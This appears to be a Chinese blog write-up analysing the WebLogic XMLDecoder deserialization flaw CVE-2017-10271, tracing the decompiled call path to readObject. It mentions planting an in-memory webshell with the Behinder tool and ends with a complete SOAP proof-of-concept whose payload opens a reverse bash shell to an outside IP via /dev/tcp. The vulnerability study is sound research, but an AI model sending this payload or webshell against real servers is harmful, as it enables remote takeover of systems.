• Weblogic反序列化漏洞(CVE-2017-10271)


    复现

    网上过程太多了,这里就不展示了
    这里idea远程调试出了点问题,连接失败了
    但排查了一下没找到原因
    网上搜索也未果

    如果有知道问题的师傅可以私信我,小白在这里谢过了

    在这里插入图片描述

    这里是用工具写入内存马再去连接的,冰蝎4.0.1似乎连不上,因为秘钥是写在代码中的
    这里注入内存马是单独设置的密码
    还是使用的3.x版本去连接的

    在这里插入图片描述

    在这里插入图片描述

    漏洞分析

    本文的重点还是放在代码上

    CVE-2017-10271漏洞主要是由WebLogic Server WLS组件远程命令执行漏洞

    http://url:port/wls-wsat/CoordinatorPortType
    post发送数据包
    再构造SOAP(XML)格式的请求解析过程中触发XMLDecoder反序列化漏洞

    由于class体量太大
    这里我就反编译了weblogic的jar
    需者自取
    提取码:9x8l

    wlserver_10.3\server\lib\weblogic.jar!\weblogic\wsee\jaxws\workcontext\WorkContextServerTube.classprocessRequest方法

    这里的var1传入的是XML数据
    在这里插入图片描述
    经过修饰后变成var3进入到readHeaderOld方法

    前面的获取了POST数据包中XML参数
    后面通过ByteArrayInputStream将XML数据变成字节数组输出流赋值给var4
    在这里插入图片描述

    这里如果调试成功的是可以看到var4的格式就是poc中的XML部分

    <java version="1.7.0_80" class="java.beans.XMLDecoder">  
    	      <new class="java.lang.ProcessBuilder">  
    	           <string>calc</string><method name="start"/>  
    	      </new>  
    	</java>  
    
    • 1
    • 2
    • 3
    • 4
    • 5

    var4.toByteArray():将var4的内容转为字节数组,然后传入ByteArrayInputStream转化为流。
    WorkContextXmlInputAdapter类,将接受道德输入流再转换成XMLDecoder
    在这里插入图片描述

    之后进入执行receive( )函数。
    跟进到WorkContextLocalMap类下的receiveRequest方法

    其中调用了WorkContextEntryImplreadEntry方法
    在这里插入图片描述
    最后到WorkContextXmlInputAdapter下的readUTF
    在这里插入图片描述

    此处调用了xmlDecoder.readObject

    最终执行了执行了XML数据中的ProcessBuilder.start()

    poc

    <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
    <soapenv:Header>
    <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
    <java version="1.4.0" class="java.beans.XMLDecoder">
    <void class="java.lang.ProcessBuilder">
    <array class="java.lang.String" length="3">
    <void index="0">
    <string>/bin/bash</string>
    </void>
    <void index="1">
    <string>-c</string>
    </void>
    <void index="2">
    <string>bash -i &gt;&amp; /dev/tcp/192.168.30.129/7890 0&gt;&amp;1</string>
    </void>
    </array>
    <void method="start"/></void>
    </java>
    </work:WorkContext>
    </soapenv:Header>
    <soapenv:Body/>
    </soapenv:Envelope>
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
  • 相关阅读:
    webpack初体验
    辰视工业级视觉·汽车主机厂动力总成车间中无序工件上下料解决方案
    【二】2D测量 Metrology——get_metrology_object_fuzzy_param()算子
    centos 7的超详细安装教程
    医院电子病历编辑器源码(支持云端SaaS服务)
    JFX11+Maven+IDEA 发布跨平台应用的完美解决方案
    简述《华为数据之道》
    手机拍摄的视频噪点很多怎么办,视频怎么做降噪处理?
    【b站韩顺平 快速学Java课】Java的JDK8(包括公共JRE8)安装教程 总结
    卡塔尔世界杯壁纸已上线,下载的壁纸清晰度不够?教你修复清晰
  • 原文地址:https://blog.csdn.net/m0_52367015/article/details/126129480